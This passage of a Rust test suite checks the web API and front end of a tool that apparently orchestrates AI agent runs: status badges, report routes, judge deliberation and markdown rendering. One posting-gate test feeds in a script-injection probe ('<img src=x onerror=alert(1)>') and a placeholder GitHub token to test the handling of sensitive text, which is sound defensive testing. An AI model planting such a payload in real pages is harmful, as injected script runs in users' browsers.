14882        assert_eq!(rows.len(), 4);
14883        assert!(!rows[0].waiting && rows[1].waiting);
14884        assert_eq!(rows[0].live, crate::run::Liveness::Live);
14885        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14886        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14887        assert_eq!(rows[1].superseded_by, None);
14888    }
14889
14890    #[test]
14891    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14892        let mut state = RunState::new(
14893            PathBuf::from("/repo/magi"),
14894            "main".to_owned(),
14895            "0123456789abcdef".to_owned(),
14896            "Review only".to_owned(),
14897            Config::default(),
14898        );
14899        state.id = "20260922-090200-dead".to_owned();
14900        state.status = RunStatus::Reviewing;
14901        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14902            .expect("serialize list row");
14903        assert_eq!(row["status"], "reviewing");
14904        assert_eq!(row["display_status"], "stale");
14905        assert_eq!(row["live"], "dead", "{row}");
14906        assert!(!row["done"].as_bool().unwrap());
14907    }
14908
14909    #[test]
14910    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14911        use crate::run::Liveness::{Dead, Live, Unknown};
14912        let mut state = RunState::new(
14913            PathBuf::from("/repo/magi"),
14914            "main".to_owned(),
14915            "abc".to_owned(),
14916            "Review only".to_owned(),
14917            Config::default(),
14918        );
14919        for (status, parked, node, waiting, live, expected) in [
14920            (
14921                RunStatus::Judging,
14922                true,
14923                "github-text",
14924                false,
14925                Dead,
14926                "parked",
14927            ),
14928            (RunStatus::Judging, false, "park", false, Dead, "stale"),
14929            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14930            (
14931                RunStatus::Judging,
14932                true,
14933                "github-text",
14934                true,
14935                Dead,
14936                "waiting",
14937            ),
14938            (
14939                RunStatus::Judging,
14940                false,
14941                "github-text",
14942                true,
14943                Dead,
14944                "waiting",
14945            ),
14946            (
14947                RunStatus::Judging,
14948                false,
14949                "github-text",
14950                false,
14951                Dead,
14952                "stale",
14953            ),
14954            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14955            (RunStatus::Judging, true, "park", false, Live, "judging"),
14956            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14957            (RunStatus::Merged, true, "park", false, Dead, "merged"),
14958            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14959            (
14960                RunStatus::Blocked,
14961                true,
14962                "github-text",
14963                true,
14964                Dead,
14965                "waiting",
14966            ),
14967        ] {
14968            state.status = status;
14969            state.parked = parked;
14970            state.events.clear();
14971            state.event(
14972                "park",
14973                "an earlier park does not determine the latest state",
14974            );
14975            state.event(node, "message is not used for classification");
14976            let summary = RunSummary::of(&state, waiting, live);
14977            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14978            assert_eq!(
14979                summary.display_status, expected,
14980                "{status:?}/{node}/{live:?}"
14981            );
14982            assert_eq!(detail.display_status, summary.display_status);
14983            assert_eq!(detail.waiting, summary.waiting);
14984        }
14985        state.status = RunStatus::Judging;
14986        state.parked = false;
14987        state.events.clear();
14988        assert_eq!(run_display_status(&state, false, Dead), "stale");
14989    }
14990
14991    #[test]
14992    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
14993        use crate::run::Liveness::{Dead, Live, Unknown};
14994        let mut state = RunState::new(
14995            PathBuf::from("/repo/magi"),
14996            "main".to_owned(),
14997            "abc".to_owned(),
14998            "Badge".to_owned(),
14999            Config::default(),
15000        );
15001        for (status, waiting, live, superseded, expected) in [
15002            (RunStatus::Gating, false, Dead, false, "stale"),
15003            (RunStatus::Gating, false, Dead, true, "superseded"),
15004            (RunStatus::Gating, false, Unknown, true, "superseded"),
15005            (RunStatus::Gating, true, Dead, true, "superseded"),
15006            (RunStatus::Gating, true, Dead, false, "waiting"),
15007            (RunStatus::Gating, false, Unknown, false, "gating"),
15008            (RunStatus::Gating, false, Live, true, "gating"),
15009            (RunStatus::Gating, true, Live, true, "waiting"),
15010            (RunStatus::Merged, false, Dead, true, "merged"),
15011            (RunStatus::Blocked, false, Dead, true, "blocked"),
15012        ] {
15013            state.status = status;
15014            let display = run_display_status(&state, waiting, live);
15015            assert_eq!(
15016                run_badge_status(&state, &display, live, superseded),
15017                expected,
15018                "{status:?}/{live:?}/superseded={superseded}"
15019            );
15020        }
15021    }
15022
15023    #[test]
15024    fn summarize_and_detail_expose_badge_status() {
15025        use crate::run::Liveness::Dead;
15026        let mut state = RunState::new(
15027            PathBuf::from("/repo/magi"),
15028            "main".to_owned(),
15029            "abc".to_owned(),
15030            "Badge".to_owned(),
15031            Config::default(),
15032        );
15033        state.status = RunStatus::Gating;
15034        let none = HashSet::new();
15035        let id = state.id.clone();
15036        let mut by = HashMap::new();
15037        let rows = summarize(
15038            [state.clone()],
15039            &none,
15040            &none,
15041            &by,
15042            |_| Some(false),
15043            |_| None,
15044        );
15045        // No driver recorded: liveness is not provably dead, so the node stays.
15046        assert_eq!(rows[0].badge_status, rows[0].display_status);
15047        by.insert(id, "20260901-000000-913b".to_owned());
15048        let detail = RunDetailView::of(
15049            state.clone(),
15050            false,
15051            Dead,
15052            Some("913b".to_owned()),
15053            None,
15054            None,
15055        );
15056        assert_eq!(detail.badge_status, "superseded");
15057        let json = serde_json::to_value(&detail).unwrap();
15058        assert_eq!(json["badge_status"], "superseded");
15059        let detail = RunDetailView::of(state, false, Dead, None, None, None);
15060        assert_eq!(detail.badge_status, "stale");
15061    }
15062
15063    #[tokio::test]
15064    async fn run_display_status_routes_share_the_open_question_store() {
15065        let f = Fixture::start().await;
15066        let id = "20260922-090200-abcd";
15067        write_run(&f.runs(), id, RunStatus::Judging);
15068        let mut state = read_run(&f.runs(), id).unwrap();
15069        state.parked = true;
15070        state.driver_exited = true;
15071        state.event("github-text", "waiting for the owner");
15072        state.save_under(f.home.path()).unwrap();
15073        let mut task = Task::new(
15074            "resumed task".to_owned(),
15075            "do it".to_owned(),
15076            PathBuf::from("/repo"),
15077            Source::Human,
15078        );
15079        task.runs = vec![id.to_owned(), id.to_owned()];
15080        f.queue().put(&mut task).unwrap();
15081        let store = f.questions();
15082        let mut q = Question::new(
15083            id.to_owned(),
15084            "github-text".to_owned(),
15085            "owner".to_owned(),
15086            "Approve the text?".to_owned(),
15087            String::new(),
15088            Vec::new(),
15089        );
15090        store.put(&mut q).unwrap();
15091        for expected in ["waiting", "parked"] {
15092            let list = f.get("/api/runs").await.json();
15093            let detail = f.get(&format!("/api/runs/{id}")).await.json();
15094            assert_eq!(list[0]["display_status"], expected);
15095            assert_eq!(detail["display_status"], expected);
15096            assert_eq!(detail["waiting"], list[0]["waiting"]);
15097            assert_eq!(list[0]["badge_status"], expected);
15098            assert_eq!(detail["badge_status"], expected);
15099            assert!(list[0]["superseded_by"].is_null());
15100            assert!(detail["superseded_by"].is_null());
15101            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
15102            let history = task_detail["history"].as_array().unwrap();
15103            assert_eq!(history.len(), 2);
15104            assert!(history[0]["badge"].is_null());
15105            assert_eq!(history[1]["badge"], expected);
15106            q.status = ask::QuestionStatus::Answered;
15107            store.put(&mut q).unwrap();
15108        }
15109    }
15110
15111    #[tokio::test]
15112    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
15113        let f = Fixture::start().await;
15114        let id = "20260922-090200-abcd";
15115        write_run(&f.runs(), id, RunStatus::Judging);
15116        let mut state = read_run(&f.runs(), id).unwrap();
15117        state.parked = true;
15118        state.driver_exited = true;
15119        state.event("park", "stopped at a node boundary");
15120        state.save_under(f.home.path()).unwrap();
15121
15122        for expected in ["parked", "stale"] {
15123            let list = f.get("/api/runs").await.json();
15124            let detail = f.get(&format!("/api/runs/{id}")).await.json();
15125            assert_eq!(list[0]["live"], "dead");
15126            assert_eq!(list[0]["display_status"], expected);
15127            assert_eq!(detail["display_status"], expected);
15128            // Model a driver claim followed by a crash before the next event:
15129            // the persisted flag changes, but the last event is still park.
15130            state.parked = false;
15131            state.save_under(f.home.path()).unwrap();
15132        }
15133    }
15134
15135    #[tokio::test]
15136    async fn the_run_list_is_newest_first_and_honours_a_limit() {
15137        let f = Fixture::start().await;
15138        for id in [
15139            "20260902-140501-aaaa",
15140            "20260902-140502-bbbb",
15141            "20260902-140503-cccc",
15142        ] {
15143            write_run(&f.runs(), id, RunStatus::Merged);
15144        }
15145
15146        let all = f.get("/api/runs").await.json();
15147        let capped = f.get("/api/runs?limit=2").await.json();
15148
15149        assert_eq!(all[0]["id"], "20260902-140503-cccc");
15150        assert_eq!(all.as_array().map(Vec::len), Some(3));
15151        assert_eq!(capped.as_array().map(Vec::len), Some(2));
15152        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
15153    }
15154
15155    #[tokio::test]
15156    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
15157        let f = Fixture::start().await;
15158        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
15159
15160        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
15161
15162        assert_eq!(res.status, 200);
15163        assert!(
15164            res.headers
15165                .contains("content-type: text/plain; charset=utf-8"),
15166            "a browser must render it, not download it: {}",
15167            res.headers
15168        );
15169        // The assertion is on content, not on the absence of escapes: colour
15170        // is a process-global that `serve` turns off at startup, and another
15171        // test in this binary may own it while this one runs.
15172        assert!(
15173            res.body.contains("20260902-140501-a1b2"),
15174            "the report is about the run that was asked for: {}",
15175            res.body
15176        );
15177    }
15178
15179    #[tokio::test]
15180    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
15181        // The view names the run's state directory, which reads the process-global home.
15182        crate::run::pin_test_home();
15183        let f = Fixture::start().await;
15184        let id = "20260902-140501-a1b2";
15185        write_run(&f.runs(), id, RunStatus::Stalled);
15186        // A stalled panel and one review round, written through the real
15187        // state file so the route reads what a run really leaves behind.
15188        let path = f.runs().join(id).join("run.json");
15189        let mut v: serde_json::Value =
15190            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15191        v["tally"] = serde_json::json!({
15192            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15193            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
15194            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
15195            "met_quorum": false, "rankings": 1
15196        });
15197        v["reviews"] = serde_json::json!([{
15198            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
15199            "e2e_deferred": true,
15200            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
15201                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
15202            ]}]
15203        }]);
15204        std::fs::write(&path, v.to_string()).unwrap();
15205        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
15206        std::fs::write(
15207            f.runs().join("20260902-140502-dead").join("run.json"),
15208            "{not json",
15209        )
15210        .unwrap();
15211
15212        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15213
15214        assert_eq!(res.status, 200, "{}", res.body);
15215        assert!(res.headers.contains("content-type: application/json"));
15216        let j = res.json();
15217        assert_eq!(j["schema"], 1);
15218        assert_eq!(j["header"]["id"], id);
15219        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
15220        let kinds: Vec<&str> = j["sections"]
15221            .as_array()
15222            .unwrap()
15223            .iter()
15224            .map(|s| s["kind"].as_str().unwrap())
15225            .collect();
15226        assert_eq!(kinds, ["candidates", "tally", "review"]);
15227        let tally = &j["sections"][1]["tally"];
15228        assert_eq!(
15229            (tally["decided"].clone(), tally["provisional"].clone()),
15230            (false.into(), true.into())
15231        );
15232        let round = &j["sections"][2]["rounds"][0];
15233        assert_eq!(round["e2e"]["state"], "deferred");
15234        assert_eq!(round["findings"][0]["severity"], "major");
15235        assert_eq!(round["findings"][0]["blocking"], true);
15236        assert_eq!(round["findings"][0]["state"], "open");
15237
15238        // The raw route keeps working beside it.
15239        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15240
15241        // An unreadable run is an error, as on the text route, and is counted.
15242        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15243        assert_ne!(bad.status, 200, "{}", bad.body);
15244        assert_eq!(
15245            bad.status,
15246            f.get("/api/runs/20260902-140502-dead/report").await.status
15247        );
15248        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15249        assert_eq!(
15250            f.get("/api/runs/20260902-999999-ffff/report.json")
15251                .await
15252                .status,
15253            404
15254        );
15255    }
15256
15257    #[tokio::test]
15258    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15259        crate::run::pin_test_home();
15260        let f = Fixture::start().await;
15261        let id = "20260902-140503-delib";
15262        write_run(&f.runs(), id, RunStatus::Merged);
15263        let path = f.runs().join(id).join("run.json");
15264        let mut v: serde_json::Value =
15265            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15266        v["judgements"] = serde_json::json!([
15267            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15268        ]);
15269        v["tally"] = serde_json::json!({
15270            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15271            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15272            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15273            "met_quorum": true, "rankings": 1
15274        });
15275        v["deliberation"] = serde_json::json!([
15276            {
15277                "round": 1,
15278                "turns": [
15279                    {
15280                        "judge": 1,
15281                        "agent": "judge-1",
15282                        "body": "I prefer candidate **A** because it has cleaner tests.",
15283                        "tentative": "A"
15284                    }
15285                ]
15286            },
15287            {
15288                "round": 2,
15289                "turns": [
15290                    {
15291                        "judge": 1,
15292                        "agent": "judge-1",
15293                        "body": "Still thinking, no choice yet.",
15294                        "tentative": null
15295                    }
15296                ]
15297            }
15298        ]);
15299        std::fs::write(&path, v.to_string()).unwrap();
15300
15301        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15302        assert_eq!(res.status, 200, "{}", res.body);
15303        let j = res.json();
15304        let judging = j["sections"]
15305            .as_array()
15306            .unwrap()
15307            .iter()
15308            .find(|s| s["kind"] == "judging")
15309            .expect("judging section exists");
15310
15311        // Existing summary lines remain intact
15312        let delib_lines = judging["deliberation"].as_array().unwrap();
15313        assert_eq!(delib_lines.len(), 2);
15314        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15315        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15316
15317        // rounds carry turn bodies, tentative and parsed body_md
15318        let rounds = judging["rounds"].as_array().unwrap();
15319        assert_eq!(rounds.len(), 2);
15320        let r1_t0 = &rounds[0]["turns"][0];
15321        assert_eq!(r1_t0["judge"], 1);
15322        assert_eq!(r1_t0["agent"], "judge-1");
15323        assert_eq!(r1_t0["tentative"], "A");
15324        assert_eq!(
15325            r1_t0["body"],
15326            "I prefer candidate **A** because it has cleaner tests."
15327        );
15328        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15329
15330        let r2_t0 = &rounds[1]["turns"][0];
15331        assert_eq!(r2_t0["judge"], 1);
15332        assert_eq!(r2_t0["agent"], "judge-1");
15333        assert!(r2_t0["tentative"].is_null());
15334        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15335        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15336
15337        // A run with empty deliberation array yields empty rounds
15338        let id_empty = "20260902-140504-nodelib";
15339        write_run(&f.runs(), id_empty, RunStatus::Merged);
15340        let path_empty = f.runs().join(id_empty).join("run.json");
15341        let mut v_empty: serde_json::Value =
15342            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15343        v_empty["judgements"] = serde_json::json!([
15344            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15345        ]);
15346        v_empty["deliberation"] = serde_json::json!([]);
15347        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15348
15349        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15350        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15351        let j_empty = res_empty.json();
15352        let judging_empty = j_empty["sections"]
15353            .as_array()
15354            .unwrap()
15355            .iter()
15356            .find(|s| s["kind"] == "judging")
15357            .expect("judging section exists");
15358        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15359    }
15360
15361    #[tokio::test]
15362    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15363        let f = Fixture::start().await;
15364
15365        let html = f.get("/").await;
15366        let css = f.get("/app.css").await;
15367        let js = f.get("/app.js").await;
15368
15369        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15370        assert!(
15371            html.headers
15372                .contains("content-type: text/html; charset=utf-8")
15373        );
15374        assert!(css.headers.contains("content-type: text/css"));
15375        assert!(js.headers.contains("content-type: text/javascript"));
15376        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15377    }
15378
15379    #[test]
15380    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15381        let body = |name: &str| {
15382            let at = APP_JS
15383                .find(name)
15384                .unwrap_or_else(|| panic!("{name} missing"));
15385            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15386        };
15387        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15388        let note = body("function landRoundNote");
15389        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15390        assert!(note.contains("Land round ${round}"));
15391        let land = body("function renderLand");
15392        let note_at = land
15393            .find("landRoundNote(pr)")
15394            .expect("renderLand uses the note");
15395        assert!(
15396            note_at
15397                < land
15398                    .find("roundRail(pr)")
15399                    .expect("renderLand uses the rail")
15400        );
15401    }
15402
15403    #[test]
15404    fn the_runs_page_redesign_keeps_its_guards() {
15405        let body = |name: &str| {
15406            let at = APP_JS
15407                .find(name)
15408                .unwrap_or_else(|| panic!("{name} missing"));
15409            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15410        };
15411        // A null child must never reach the native append (it prints "null").
15412        let land = body("function renderLand");
15413        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
15414        assert!(
15415            !land.contains("box.append("),
15416            "renderLand must use append()"
15417        );
15418        assert!(land.contains("append(box, ["));
15419        // Tabs are hash routes; the run id alone decides a reload.
15420        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
15421        assert!(
15422            body("function applyRoute")
15423                .contains("route.name !== state.route.name || route.id !== state.route.id")
15424        );
15425        // The decorative diagram is gone, the strip and its guards stay.
15426        assert!(!APP_JS.contains("adviseConvergeDiagram"));
15427        assert!(!INDEX_HTML.contains("advise-converge"));
15428        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
15429        assert!(APP_JS.contains("provisional"));
15430        for id in [
15431            "run-tab-overview",
15432            "run-tab-timeline",
15433            "run-tab-report",
15434            "run-report",
15435            "runs-scope",
15436        ] {
15437            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
15438        }
15439        assert!(!INDEX_HTML.contains("runs-tree"));
15440        assert!(!INDEX_HTML.contains("run-raw-panel"));
15441        // Fold still says it cannot be resumed.
15442        assert!(APP_JS.contains("resume"));
15443        // The unreadable-runs count stays on the page.
15444        assert!(APP_JS.contains("unreadable"));
15445    }
15446
15447    #[test]
15448    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
15449        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
15450        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
15451        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
15452        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
15453        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
15454        // The subtitle still counts them whatever the banner does.
15455        assert!(APP_JS.contains("unreadable` : null"));
15456    }
15457
15458    #[test]
15459    fn blocked_run_detail_exposes_the_failed_gate_reason() {
15460        let mut state = RunState::new(
15461            "/repo".into(),
15462            "main".into(),
15463            "abc".into(),
15464            "task".into(),
15465            crate::config::Config::default(),
15466        );
15467        state.status = RunStatus::Blocked;
15468        state.gate_ran = true;
15469        state.gate.push(crate::run::CommandOutcome {
15470            command: "cargo make check".into(),
15471            code: Some(1),
15472            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
15473            duration_ms: 0,
15474            resource_blocked: false,
15475        });
15476        let view = RunDetailView::of(
15477            state,
15478            false,
15479            crate::run::Liveness::Unknown,
15480            None,
15481            None,
15482            None,
15483        );
15484        let value = serde_json::to_value(view).unwrap();
15485        assert_eq!(
15486            value["stop_reason"],
15487            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
15488        );
15489    }
15490
15491    #[test]
15492    fn the_run_detail_payload_says_whether_the_run_is_done() {
15493        // `landView` reads `run.done`; the detail response must carry it.
15494        for (status, done) in [
15495            (RunStatus::Superseded, true),
15496            (RunStatus::Blocked, true),
15497            (RunStatus::Landing, false),
15498        ] {
15499            let mut state = RunState::new(
15500                std::path::PathBuf::from("/repo"),
15501                "main".to_owned(),
15502                "abc".to_owned(),
15503                "x".to_owned(),
15504                crate::config::Config::default(),
15505            );
15506            state.status = status;
15507            let v = serde_json::to_value(RunDetailView::of(
15508                state,
15509                false,
15510                crate::run::Liveness::Unknown,
15511                None,
15512                None,
15513                None,
15514            ))
15515            .unwrap();
15516            assert_eq!(v["done"], done, "{status:?}");
15517        }
15518    }
15519
15520    /// The first node of a markdown block holds a `strong` somewhere.
15521    fn has_strong(nodes: &[md::Node]) -> bool {
15522        serde_json::to_string(nodes).unwrap().contains("strong")
15523    }
15524
15525    #[test]
15526    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
15527        let mut state = RunState::new(
15528            std::path::PathBuf::from("/repo"),
15529            "main".to_owned(),
15530            "abc".to_owned(),
15531            "x".to_owned(),
15532            crate::config::Config::default(),
15533        );
15534        let proposal = |approach: &str| {
15535            serde_json::json!({
15536                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
15537            })
15538        };
15539        state.advice = Some(
15540            serde_json::from_value(serde_json::json!({
15541                "records": [
15542                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
15543                     "proposal": proposal("do **this**")},
15544                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
15545                ],
15546                "synthesis": "- one\n- **two**\n\n`code`",
15547            }))
15548            .unwrap(),
15549        );
15550        state.candidates = serde_json::from_value(serde_json::json!([
15551            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
15552             "summary": "did **it**"},
15553            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
15554        ]))
15555        .unwrap();
15556        // Recorded in ascending severity, the reverse of how the page sorts
15557        // them: the arrays must follow the record, not the display.
15558        state.reviews = serde_json::from_value(serde_json::json!([{
15559            "round": 1, "head": "h",
15560            "reviews": [{
15561                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
15562                "findings": [
15563                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
15564                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
15565                ],
15566            }],
15567            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
15568            "fix": {"agent": "a", "notes": "fixed **it**",
15569                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
15570        }, {"round": 2, "head": "h2", "reviews": []}]))
15571        .unwrap();
15572
15573        let v = serde_json::to_value(RunDetailView::of(
15574            state,
15575            false,
15576            crate::run::Liveness::Unknown,
15577            None,
15578            None,
15579            None,
15580        ))
15581        .unwrap();
15582
15583        let strong = |p: &str| {
15584            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
15585            assert!(n.to_string().contains("strong"), "{p}: {n}");
15586        };
15587        strong("/advice_md/synthesis");
15588        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
15589        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
15590        strong("/advice_md/approaches/0");
15591        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
15592        strong("/candidate_summaries_md/0");
15593        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
15594        strong("/reviews_md/0/reviewers/0/summary");
15595        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
15596        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
15597        assert!(f[1].to_string().contains("strong"));
15598        strong("/reviews_md/0/reconsideration/0");
15599        strong("/reviews_md/0/fix/notes");
15600        strong("/reviews_md/0/fix/rejected/0");
15601        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
15602        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
15603        // The raw strings stay, and no schema moved.
15604        assert_eq!(v["candidates"][0]["summary"], "did **it**");
15605        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
15606    }
15607
15608    #[test]
15609    fn a_run_without_advice_has_no_advice_md() {
15610        let state = RunState::new(
15611            std::path::PathBuf::from("/repo"),
15612            "main".to_owned(),
15613            "abc".to_owned(),
15614            "x".to_owned(),
15615            crate::config::Config::default(),
15616        );
15617        let p = run_prose_md(&state);
15618        assert!(p.advice_md.is_none());
15619        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
15620    }
15621
15622    #[test]
15623    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
15624        let store = ask::Questions::at(PathBuf::from("unused"));
15625        let gt = crate::github_text::Withheld {
15626            title: false,
15627            body: true,
15628            categories: vec!["sensitive-data".into()],
15629        };
15630        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
15631        let (detail, comparison) =
15632            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
15633        let mut q = Question::new(
15634            "r".into(),
15635            "github-text".into(),
15636            "posting-gate".into(),
15637            "s".into(),
15638            detail,
15639            Vec::new(),
15640        );
15641        assert!(
15642            QuestionView::of(q.clone(), &store, false)
15643                .posting_view
15644                .is_none()
15645        );
15646        q.posting_comparison = Some(comparison);
15647        let view = QuestionView::of(q.clone(), &store, false);
15648        let field = &view.posting_view.unwrap().fields[0];
15649        assert_eq!(
15650            field
15651                .original
15652                .iter()
15653                .map(|f| f.text.as_str())
15654                .collect::<String>(),
15655            body
15656        );
15657        assert!(field.original[0].text.starts_with("<img"));
15658        let original_question: Question =
15659            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
15660        assert_eq!(original_question, q);
15661        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
15662            .original
15663            .start = 1;
15664        assert!(
15665            QuestionView::of(q.clone(), &store, false)
15666                .posting_view
15667                .is_none()
15668        );
15669        q.posting_comparison = original_question.posting_comparison;
15670        q.detail.push_str("extra context");
15671        assert!(
15672            QuestionView::of(q.clone(), &store, false)
15673                .posting_view
15674                .is_some()
15675        );
15676        q.detail.insert(0, 'x');
15677        assert!(QuestionView::of(q, &store, false).posting_view.is_none());
15678    }
15679
15680    #[test]
15681    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
15682        let store = ask::Questions::at(PathBuf::from("unused"));
15683        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
15684        let gt = crate::github_text::Withheld::from_check(
15685            &crate::github_text::check("fix: x", body),
15686            "fix: x",
15687            body,
15688        )
15689        .unwrap();
15690        let (detail, comparison) =
15691            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
15692        let mut q = Question::new(
15693            "r".into(),
15694            "github-text".into(),
15695            "posting-gate".into(),
15696            "s".into(),
15697            detail,
15698            Vec::new(),
15699        );
15700        q.posting_comparison = Some(comparison);
15701        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
15702        let field = &value["posting_view"]["fields"][0];
15703        let group = &field["replacement_group"];
15704        let triggers = group["triggers"].as_array().unwrap();
15705        assert_eq!(triggers.len(), 2);
15706        assert_ne!(triggers[0], triggers[1]);
15707        for id in triggers {
15708            assert!(
15709                field["original"]
15710                    .as_array()
15711                    .unwrap()
15712                    .iter()
15713                    .any(|f| &f["pair"] == id)
15714            );
15715            assert!(
15716                !field["changed"]
15717                    .as_array()
15718                    .unwrap()
15719                    .iter()
15720                    .any(|f| &f["pair"] == id)
15721            );
15722        }
15723        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
15724            group["id"].as_u64().unwrap() as usize;
15725        assert!(
15726            QuestionView::of(q, &store, false).posting_view.is_none(),
15727            "group and trigger IDs cannot collide"
15728        );
15729    }
15730
15731    #[test]
15732    fn a_question_view_carries_markdown_for_each_thread_turn() {
15733        let home = TempDir::new().unwrap();
15734        let store = ask::Questions::at(home.path().join("questions"));
15735        let mut q = Question::new(
15736            "run".to_owned(),
15737            "implement".to_owned(),
15738            "impl-A".to_owned(),
15739            "which?".to_owned(),
15740            String::new(),
15741            Vec::new(),
15742        );
15743        q.say("plain words").unwrap();
15744        q.reply("use **this**", Vec::new()).unwrap();
15745        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15746        let bodies = &v["thread_bodies_md"];
15747        assert_eq!(bodies.as_array().unwrap().len(), 2);
15748        assert!(!bodies[0].to_string().contains("strong"));
15749        assert!(bodies[1].to_string().contains("strong"));
15750    }
15751
15752    #[test]
15753    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
15754        let home = TempDir::new().unwrap();
15755        let store = ask::Questions::at(home.path().join("questions"));
15756        let mut q = Question::new(
15757            "run".to_owned(),
15758            "conduct".to_owned(),
15759            "conduct".to_owned(),
